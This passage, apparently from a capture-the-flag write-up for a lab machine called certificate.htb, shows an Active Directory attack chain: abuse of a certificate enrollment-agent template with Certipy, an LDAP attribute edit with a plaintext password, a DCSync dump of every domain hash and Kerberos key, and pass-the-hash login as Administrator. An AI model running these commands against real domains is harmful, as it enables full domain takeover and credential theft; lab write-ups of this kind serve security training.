[*] Got TGT
[*] Saving credential cache to 'ws-01.ccache'
[*] Wrote credential cache to 'ws-01.ccache'
[*] Trying to retrieve NT hash for 'ws-01$'
[*] Restoring the old Key Credentials for 'WS-01$'
[*] Successfully restored the old Key Credentials for 'WS-01$'
[*] NT hash for 'WS-01$': 3641f1cd0daa8dfe41e1d1b2dbbed6f4

Attempt to get cert

$ certipy req -u 'WS-01$' -hashes ':3641f1cd0daa8dfe41e1d1b2dbbed6f4' -target certificate.htb -ca 'Certificate-LTD-CA' -template 'Delegated-CRA'
 
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[!] DNS resolution failed: The DNS query name does not exist: certificate.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 21
[-] Got error while requesting certificate: code: 0x80094812 - CERTSRV_E_SUBJECT_EMAIL_REQUIRED - The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
Would you like to save the private key? (y/N): n
[-] Failed to request certificate

We need to add email (bloodyAD does not support email edit)

$ ldapmodify -x -D 'sara.b@certificate.htb' -w 'Blink182' -H ldap://certificate.htb <<EOF
dn: CN=WS-01,CN=Computers,DC=certificate,DC=htb
changetype: modify
replace: mail
mail: ws01@certificate.htb
EOF
 
modifying entry "CN=WS-01,CN=Computers,DC=certificate,DC=htb"

Try again

$ certipy req -u 'WS-01$' -hashes ':3641f1cd0daa8dfe41e1d1b2dbbed6f4' -target certificate.htb -ca 'Certificate-LTD-CA' -template 'Delegated-CRA'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[!] DNS resolution failed: The DNS query name does not exist: certificate.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 24
[*] Successfully requested certificate
[*] Got certificate with UPN 'WS-01$@certificate.htb'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1103'
[*] Saving certificate and private key to 'ws-01.pfx'
[*] Wrote certificate and private key to 'ws-01.pfx'

Now request on behalf of DC-01

$ certipy req -u 'WS-01$' -hashes ':3641f1cd0daa8dfe41e1d1b2dbbed6f4' -target certificate.htb -ca 'Certificate-LTD-CA' -template 'DomainController' -on-behalf-of 'CERTIFICATE\DC01$' -pfx ws-01.pfx
 
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[!] DNS resolution failed: The DNS query name does not exist: certificate.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 28
[*] Successfully requested certificate
[*] Got certificate with DNS Host Name 'DC01.certificate.htb'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1000'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'

Auth for hash

$ certipy auth -pfx dc01.pfx -username 'DC01$' -dc-ip 10.129.232.93
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Certificate identities:
[*]     SAN DNS Host Name: 'DC01.certificate.htb'
[*]     Security Extension SID: 'S-1-5-21-515537669-4223687196-3249690583-1000'
[*] Using principal: 'dc01$@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Wrote credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@certificate.htb': aad3b435b51404eeaad3b435b51404ee:f36e0bc3c9a34c3acdb8b79df54f27cd

NOW we can DCSync

$ impacket-secretsdump 'certificate.htb/dc01$@certificate.htb' -hashes aad3b435b51404eeaad3b435b51404ee:f36e0bc3c9a34c3acdb8b79df54f27cd
 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9de0f65ce37b57bc0a8fce1f9d4402c7:::
Kai.X:1105:aad3b435b51404eeaad3b435b51404ee:003c4c38e98c78352362095a6028f720:::
Sara.B:1109:aad3b435b51404eeaad3b435b51404ee:c2367169e3279fa3e85d9d25f0e85e45:::
John.C:1111:aad3b435b51404eeaad3b435b51404ee:3f6d0e5bbf21d7f1c72a8eebc82547f5:::
Aya.W:1112:aad3b435b51404eeaad3b435b51404ee:a72e757f0f5859819e90d1a71666f933:::
Nya.S:1113:aad3b435b51404eeaad3b435b51404ee:a72e757f0f5859819e90d1a71666f933:::
Maya.K:1114:aad3b435b51404eeaad3b435b51404ee:a72e757f0f5859819e90d1a71666f933:::
Lion.SK:1115:aad3b435b51404eeaad3b435b51404ee:b12167c19ef33aee37d3a32eb57aee64:::
Eva.F:1116:aad3b435b51404eeaad3b435b51404ee:f30914c4b456ef5691bf24b50b332e99:::
Ryan.K:1117:aad3b435b51404eeaad3b435b51404ee:b12167c19ef33aee37d3a32eb57aee64:::
certificate.htb\akeder.kh:1119:aad3b435b51404eeaad3b435b51404ee:9ca9ba1e46bd75574002b8b1967bb2de:::
kara.m:1121:aad3b435b51404eeaad3b435b51404ee:831a13eb0ff31d5b80eb062f24bfb210:::
Alex.D:1124:aad3b435b51404eeaad3b435b51404ee:32be964c0519ef40083157825c7949ca:::
certificate.htb\karol.s:1127:aad3b435b51404eeaad3b435b51404ee:a242ea4fbd87f0feff1203bad168b770:::
saad.m:1128:aad3b435b51404eeaad3b435b51404ee:a242ea4fbd87f0feff1203bad168b770:::
xamppuser:1130:aad3b435b51404eeaad3b435b51404ee:ed547ca356c218f5e76c2640fc3429ab:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:f36e0bc3c9a34c3acdb8b79df54f27cd:::
WS-01$:1103:aad3b435b51404eeaad3b435b51404ee:3641f1cd0daa8dfe41e1d1b2dbbed6f4:::
WS-05$:1131:aad3b435b51404eeaad3b435b51404ee:eae20b8c895e7ac2e1a4870f71738058:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:28934e3c2d87ea8123c8a2c2189175d2c9b19a3fd6a1e510e7f96d7b7778703b
Administrator:aes128-cts-hmac-sha1-96:a019041d011b4af3978fe35dc601674b
Administrator:des-cbc-md5:ea5eef85f7681373
krbtgt:aes256-cts-hmac-sha1-96:59ba38be08a47d21666a346bf6e525509cc91e8f318658e26a1d06b28868571e
krbtgt:aes128-cts-hmac-sha1-96:3ef27c98cdb9669963d09bdf0a43b8bf
krbtgt:des-cbc-md5:2c753ed0988abc92
Kai.X:aes256-cts-hmac-sha1-96:116143b655fa31afae0914f10b85105cdf7681d54ff7039e4d80d922082de596
Kai.X:aes128-cts-hmac-sha1-96:381e6ff043963c7c2c5ed37fc4cfbdd6
Kai.X:des-cbc-md5:c8ef52989445f4f7
Sara.B:aes256-cts-hmac-sha1-96:92fe5c9c7e3d3f5902335cf5b08ae7429dd68708dbe9df507c1853dfcd2ce2d2
Sara.B:aes128-cts-hmac-sha1-96:6194d1e2212a019abd4fa9979c1acd07
Sara.B:des-cbc-md5:19349edfceb6b979
John.C:aes256-cts-hmac-sha1-96:da04bfe09f83cd3ba3b4819d883b647ced8de73fe8e6ff32953fc3c964a61cd5
John.C:aes128-cts-hmac-sha1-96:bc774e9044a071ce5eee8338cfa50831
John.C:des-cbc-md5:6e981976ad91646b
Aya.W:aes256-cts-hmac-sha1-96:d1432310b9711f49f0c3094f9f844d0e12220b5fc3a082171c5eb26a26ffd98c
Aya.W:aes128-cts-hmac-sha1-96:3894a9cda7439dc0982e8bfc981c6d37
Aya.W:des-cbc-md5:8f01013e6b68e54a
Nya.S:aes256-cts-hmac-sha1-96:30aab7542b5cd28335df6d4db7a02bf33bef5440bdd7588f955d690de9fd07d7
Nya.S:aes128-cts-hmac-sha1-96:79006be0640212bd3f57fb38d011d9d2
Nya.S:des-cbc-md5:f4f18f1c10e3b351
Maya.K:aes256-cts-hmac-sha1-96:482276cf4da25e6fe9a3f7a380d99a0ce552d443d7b16fea2bb2bf1ad2ae3e8a
Maya.K:aes128-cts-hmac-sha1-96:c18058497f430d129861f41c4241f04b
Maya.K:des-cbc-md5:ba34f1f19751d52f
Lion.SK:aes256-cts-hmac-sha1-96:2c5ffa8518a5507f4fac848b3a83a071d9c70f7a1a1a0cad812edbc36009739a
Lion.SK:aes128-cts-hmac-sha1-96:97635500861e896e5f3833350b023161
Lion.SK:des-cbc-md5:efb3575752588f94
Eva.F:aes256-cts-hmac-sha1-96:60f2c643add6e126180fe2a34bbec9e1bca0c2eb6efe5e655a06ae9901e1cba8
Eva.F:aes128-cts-hmac-sha1-96:8a64f57bfadb0fabae673406e8b6fa73
Eva.F:des-cbc-md5:7620e61a3886b5b3
Ryan.K:aes256-cts-hmac-sha1-96:78f33395819ca433b15ab5893a6b06fe4d7b3fa7733e1843b86f2975b98dce12
Ryan.K:aes128-cts-hmac-sha1-96:99b993332f56f0c43a5b887568096cb4
Ryan.K:des-cbc-md5:a4f29b153e1a6b13
certificate.htb\akeder.kh:aes256-cts-hmac-sha1-96:bbdb1644e7d3ab0cc13ebe542cb3e2bf9024f8c3690d02bdfb8866f222f03bc5
certificate.htb\akeder.kh:aes128-cts-hmac-sha1-96:53a8638de435664ca479dfffc3a47fbd
certificate.htb\akeder.kh:des-cbc-md5:ec1cdc8a0eaeb9f2
kara.m:aes256-cts-hmac-sha1-96:5cc3518a1dfd601f484ba7aa92ac777c7eedf65496175359f23b55f8d5ba41c5
kara.m:aes128-cts-hmac-sha1-96:c201828964b9187554c6238bee79b3cc
kara.m:des-cbc-md5:d67a67912cdf6db0
Alex.D:aes256-cts-hmac-sha1-96:8f00005e0efff69425291686304234126b287ff9c4f3a1edbf6b4ec86b9a1680
Alex.D:aes128-cts-hmac-sha1-96:46db992e8d448542410224702476bdf7
Alex.D:des-cbc-md5:57dc6220fd46517c
certificate.htb\karol.s:aes256-cts-hmac-sha1-96:3e6eaf02de4f20cafd9fdefd97f80fa84d668ee96983a8692bef80dc3f0ce578
certificate.htb\karol.s:aes128-cts-hmac-sha1-96:f734a166ec136b819119908c769ae8d4
certificate.htb\karol.s:des-cbc-md5:437919526efb4557
saad.m:aes256-cts-hmac-sha1-96:25a0b122b539c1f924d1309bc0595f2f7fc047b8405973bdf6e502945143258d
saad.m:aes128-cts-hmac-sha1-96:895c4110710dda478e99cdf9559887d8
saad.m:des-cbc-md5:4020fb4c7aa497d6
xamppuser:aes256-cts-hmac-sha1-96:8c99dec482f65ac7be5ea175dd671caee69a7adfb9275ea8581a57757139b3f6
xamppuser:aes128-cts-hmac-sha1-96:3d63b58ed58b30d1ce3f15c9002d702e
xamppuser:des-cbc-md5:6b40cd8c6bf4fd6b
DC01$:aes256-cts-hmac-sha1-96:37e0e73332edfcc623b54ae20124ba786f453d664b05c950e19957b01aa82226
DC01$:aes128-cts-hmac-sha1-96:cb4b0249daf270bce4f51db03e407c38
DC01$:des-cbc-md5:fd94499b6e15198a
WS-01$:aes256-cts-hmac-sha1-96:05a043c187f9bf02d2374a5fdf169e4c63a8be47c485b5cc44171d765e59e4ac
WS-01$:aes128-cts-hmac-sha1-96:e1cd0218231edfadad47b08a57e24184
WS-01$:des-cbc-md5:df4fd676a85d4f7c
WS-05$:aes256-cts-hmac-sha1-96:0c426e103497f20b76c7d182cc45c2df19d3bc08b6e745ca475adc99f2c42794
WS-05$:aes128-cts-hmac-sha1-96:a19fa3efa03b8c474c048294c3c7b899
WS-05$:des-cbc-md5:9e07545d40f8daa8
[*] Cleaning up...

Connect as Admin

$ evil-winrm -u administrator -H d804304519bf0143c14cbf1c024408c6 -i certificate.htb
 
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir ../Desktop
 
    Directory: C:\Users\Administrator\Desktop
 
Mode                LastWriteTime         Length Name----------         ------ ----
-ar---         6/1/2025   3:57 AM             34 root.txt